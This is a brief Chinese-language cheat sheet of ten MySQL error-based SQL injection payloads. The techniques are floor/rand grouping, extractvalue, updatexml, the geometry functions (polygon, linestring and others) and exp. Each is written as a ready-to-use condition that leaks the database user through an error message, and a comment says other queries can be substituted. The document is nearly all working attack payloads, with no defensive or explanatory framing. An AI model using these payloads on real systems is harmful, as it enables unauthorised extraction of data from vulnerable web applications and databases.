十种报错注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
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2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); #<---后续查询直接替换select user()​
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3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
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4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
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5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
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6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
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7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
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8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
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9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
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10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));
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